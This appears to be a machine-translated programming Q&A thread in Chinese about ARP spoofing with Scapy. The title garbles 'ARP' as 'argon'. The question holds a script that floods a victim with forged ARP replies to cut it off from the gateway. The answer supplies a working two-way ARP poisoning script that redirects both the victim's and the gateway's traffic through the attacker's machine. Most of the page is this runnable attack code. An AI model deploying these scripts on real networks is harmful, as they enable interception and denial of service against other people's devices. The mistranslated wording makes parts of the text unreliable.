氩气欺骗中毒无法工作停止工作

问题描述 投票:1回答:1

我最近一直在尝试使用Python和Scapy构建一个 "中间人"(用于我自己的实践,没有恶意目的).我开始写代码来创建一个dos,然而由于某些原因,它的行为很奇怪.首先,由于某些原因,当我在Windows PC上运行它时,arp条目从未改变。我甚至清除了arp表(arp -d *),但仍然返回网关的真实mac地址。其次,代码似乎只在我的手机上部分工作 - 当打开网站时,它只是需要很长时间。另外,有些网站似乎不受影响(Instagram能用......).另外,针对不同品牌的手机运行代码,结果也不同。

难道是不同设备上有安全措施?我是不是做错了什么?下面是代码,谢谢大家的帮助!

from enum import Enum

import getmac
import netifaces
from scapy.all import ARP, Ether, sendp


class DeviceIps(Enum):
    MyPhone = '192.168.1.27'
    MyPc = '192.168.1.70'


class Device(object):
    def __init__(self, ip: str):
        self.ip = ip


def get_mac_from_ip(ip=None):
    return getmac.get_mac_address(ip=ip)


def build_poison_packet(victim_ip):
    ARP_RESPONSE_CODE = 0x2
    FAKE_MAC_ADDRESS = 'aa:bb:cc:dd:ee:ff'

    gateway_ip_address = netifaces.gateways()['default'][netifaces.AF_INET][0]
    victim_mac_address = get_mac_from_ip(victim_ip)
    poison_packet = Ether(src=FAKE_MAC_ADDRESS, dst=victim_mac_address) \
                    / ARP(psrc=gateway_ip_address,  # -> Address to lie about
                          hwsrc=FAKE_MAC_ADDRESS,  # -> Mac address to direct to
                          hwdst=victim_mac_address, pdst=victim_ip, op=ARP_RESPONSE_CODE)
    return poison_packet


def poison(target: Device):
    poison_packet = build_poison_packet(target.ip)
    print(poison_packet.show())
    while True:
        sendp(poison_packet)


def main():
    poison(Device(DeviceIps.MyPc.value))

main()
python scapy arp
1个回答
0
投票

这是一个简单的scapy代码,它可以发送arp回复到受害者和主机(网关)的地址.你可以在你的脚本终止之前清理受害者和主机arp表。

#!/bin/env python

from scapy.all import Ether, ARP, sendp
import time

victim_hw_addr = "34:e1:2d:83:20:aa"
victim_ip_addr = "192.168.43.152"
gw_hw_addr = "ce:9f:7a:7b:d7:aa"
gw_ip_addr = "192.168.43.1"
my_hw_addr = "8c:85:90:c3:0b:aa"
tmout = 100

arp4victim = Ether(dst=victim_hw_addr, src=my_hw_addr) / ARP(pdst=victim_ip_addr, hwdst=victim_hw_addr, psrc=gw_ip_addr, hwsrc=my_hw_addr, op=2)
arp4gw = Ether(dst=gw_hw_addr, src=my_hw_addr) / ARP(pdst=gw_ip_addr, hwdst=gw_hw_addr, psrc=victim_ip_addr, hwsrc=my_hw_addr, op=2)

while True:
    sendp(arp4victim)
    sendp(arp4gw)
    time.sleep(3)
    print "*"
© www.soinside.com 2019 - 2024. All rights reserved.